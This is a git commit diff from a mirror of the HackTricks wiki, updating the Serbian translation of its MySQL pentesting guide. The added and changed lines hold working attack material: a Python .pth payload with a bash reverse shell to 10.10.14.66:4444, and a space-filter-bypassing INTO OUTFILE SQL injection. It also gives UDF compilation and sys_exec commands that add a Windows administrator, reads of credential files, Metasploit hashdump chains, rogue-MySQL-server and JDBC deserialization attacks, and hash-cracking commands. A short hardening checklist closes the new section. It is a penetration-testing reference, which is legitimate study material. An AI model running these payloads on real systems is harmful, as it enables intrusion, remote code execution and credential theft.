mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to sr
This commit is contained in:
parent
ba1608bdac
commit
08f9b15c68
@ -109,7 +109,7 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
|
|||||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke za sajt)
|
#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke)
|
||||||
|
|
||||||
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na metama koje kasnije pokreću **Python** skripte.
|
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na metama koje kasnije pokreću **Python** skripte.
|
||||||
|
|
||||||
@ -117,11 +117,11 @@ Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje pr
|
|||||||
2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
|
2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
|
||||||
3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
|
3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
|
||||||
|
|
||||||
Primer `.pth` payload-a (jedna linija, bez razmaka koji mogu biti uključeni u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
|
Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
|
||||||
```python
|
```python
|
||||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||||
```
|
```
|
||||||
Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
|
Primer kreiranja fajla kroz **UNION** upit (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
|
||||||
```sql
|
```sql
|
||||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||||
```
|
```
|
||||||
@ -129,7 +129,7 @@ Važne ograničenja i zaobilaženja:
|
|||||||
|
|
||||||
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
|
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
|
||||||
* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
|
* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
|
||||||
* Ako je unos napadača izvučen sa `%128s` (ili slično) svaki razmak će skratiti payload; koristite MySQL sekvence komentara `/**/` ili `/*!*/` da zamenite razmake.
|
* Ako je ulaz napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
|
||||||
* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
|
* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
|
||||||
|
|
||||||
Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
|
Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
|
||||||
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||||||
|
|
||||||
## MySQL proizvoljno čitanje datoteka od strane klijenta
|
## MySQL proizvoljno čitanje datoteka od strane klijenta
|
||||||
|
|
||||||
Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke** MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
|
Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
|
||||||
Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
|
Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
|||||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||||
```
|
```
|
||||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||||
**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||||
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||||
|
|
||||||
|
|
||||||
@ -208,11 +208,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||||||
```
|
```
|
||||||
### Eskalacija privilegija putem biblioteke
|
### Eskalacija privilegija putem biblioteke
|
||||||
|
|
||||||
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je koristiti **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
|
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
|
||||||
|
|
||||||
Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna.
|
Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna.
|
||||||
|
|
||||||
Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompilirati ga unutar linux ranjive mašine**:
|
Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompajlirati ga unutar linux ranjive mašine**:
|
||||||
```bash
|
```bash
|
||||||
gcc -g -c raptor_udf2.c
|
gcc -g -c raptor_udf2.c
|
||||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||||
@ -251,7 +251,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
|||||||
SELECT sys_exec("net user npn npn12345678 /add");
|
SELECT sys_exec("net user npn npn12345678 /add");
|
||||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||||
```
|
```
|
||||||
### Izvlačenje MySQL kredencijala iz fajlova
|
### Izvlačenje MySQL akreditiva iz fajlova
|
||||||
|
|
||||||
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
|
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
|
||||||
```bash
|
```bash
|
||||||
@ -259,7 +259,7 @@ cat /etc/mysql/debian.cnf
|
|||||||
```
|
```
|
||||||
Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
|
Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
|
||||||
|
|
||||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve heširane lozinke MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
|
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
|
||||||
|
|
||||||
Možete ih izvući tako što ćete:
|
Možete ih izvući tako što ćete:
|
||||||
```bash
|
```bash
|
||||||
@ -295,7 +295,7 @@ Konfiguracione datoteke
|
|||||||
- update.log
|
- update.log
|
||||||
- common.log
|
- common.log
|
||||||
|
|
||||||
## Podrazumevana MySQL baza podataka/tabele
|
## Podrazumevana MySQL Baza Podataka/Tabele
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="information_schema"}}
|
{{#tab name="information_schema"}}
|
||||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
## References
|
## 2023-2025 Istaknuto (novo)
|
||||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
|
||||||
|
### JDBC `propertiesTransform` deserializacija (CVE-2023-21971)
|
||||||
|
Od Connector/J <= 8.0.32, napadač koji može uticati na **JDBC URL** (na primer, u softveru treće strane koji traži string za konekciju) može zatražiti učitavanje proizvoljnih klasa na *klijentskoj* strani putem `propertiesTransform` parametra. Ako je gadget prisutan na putanji klase i može se učitati, to rezultira **daljinskim izvršavanjem koda u kontekstu JDBC klijenta** (pre-autentifikacija, jer nisu potrebne validne kredencijale). Minimalni PoC izgleda ovako:
|
||||||
|
```java
|
||||||
|
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||||
|
```
|
||||||
|
Pokretanje `Evil.class` može biti jednostavno kao postavljanje na class-path ranjive aplikacije ili dozvoljavanje zlonamernom MySQL serveru da pošalje zlonamerni serijalizovani objekat. Problem je rešen u Connector/J 8.0.33 – nadogradite drajver ili eksplicitno postavite `propertiesTransform` na listu dozvoljenih.
|
||||||
|
(Pogledajte Snyk izveštaj za detalje)
|
||||||
|
|
||||||
|
### Napadi zlonamernih / lažnih MySQL servera protiv JDBC klijenata
|
||||||
|
Nekoliko alata otvorenog koda implementira *delimični* MySQL protokol kako bi napali JDBC klijente koji se povezuju ka spolja:
|
||||||
|
|
||||||
|
* **mysql-fake-server** (Java, podržava eksploate čitanja datoteka i deserializacije)
|
||||||
|
* **rogue_mysql_server** (Python, slične mogućnosti)
|
||||||
|
|
||||||
|
Tipični putevi napada:
|
||||||
|
|
||||||
|
1. Aplikacija žrtva učitava `mysql-connector-j` sa `allowLoadLocalInfile=true` ili `autoDeserialize=true`.
|
||||||
|
2. Napadač kontroliše DNS / unos hosta tako da se ime hosta baze podataka rešava na mašinu pod njihovom kontrolom.
|
||||||
|
3. Zlonamerni server odgovara sa kreiranim paketima koji aktiviraju ili `LOCAL INFILE` proizvoljno čitanje datoteka ili Java deserializaciju → RCE.
|
||||||
|
|
||||||
|
Primer jedne linije za pokretanje lažnog servera (Java):
|
||||||
|
```bash
|
||||||
|
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||||
|
```
|
||||||
|
Zatim usmerite aplikaciju žrtve na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` kodiranjem imena datoteke kao base64 u polju *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||||
|
|
||||||
|
### Razbijanje `caching_sha2_password` hešova
|
||||||
|
MySQL ≥ 8.0 čuva hešove lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mod **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline razbijanje od 2023. Dumpujte kolonu `authentication_string` i direktno je unesite:
|
||||||
|
```bash
|
||||||
|
# extract hashes
|
||||||
|
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||||
|
# Hashcat
|
||||||
|
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||||
|
# John the Ripper
|
||||||
|
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||||
|
```
|
||||||
|
### Lista za jačanje bezbednosti (2025)
|
||||||
|
• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da biste onemogućili većinu operacija čitanja/pisanja fajlova.
|
||||||
|
• Uklonite **`FILE`** privilegiju sa aplikacionih naloga.
|
||||||
|
• Na Connector/J postavite `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (prazno).
|
||||||
|
• Onemogućite neiskorišćene autentifikacione dodatke i **zahtevajte TLS** (`require_secure_transport = ON`).
|
||||||
|
• Pratite `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i iznenadne `SET GLOBAL` izjave.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||||
|
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||||
|
|
||||||
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user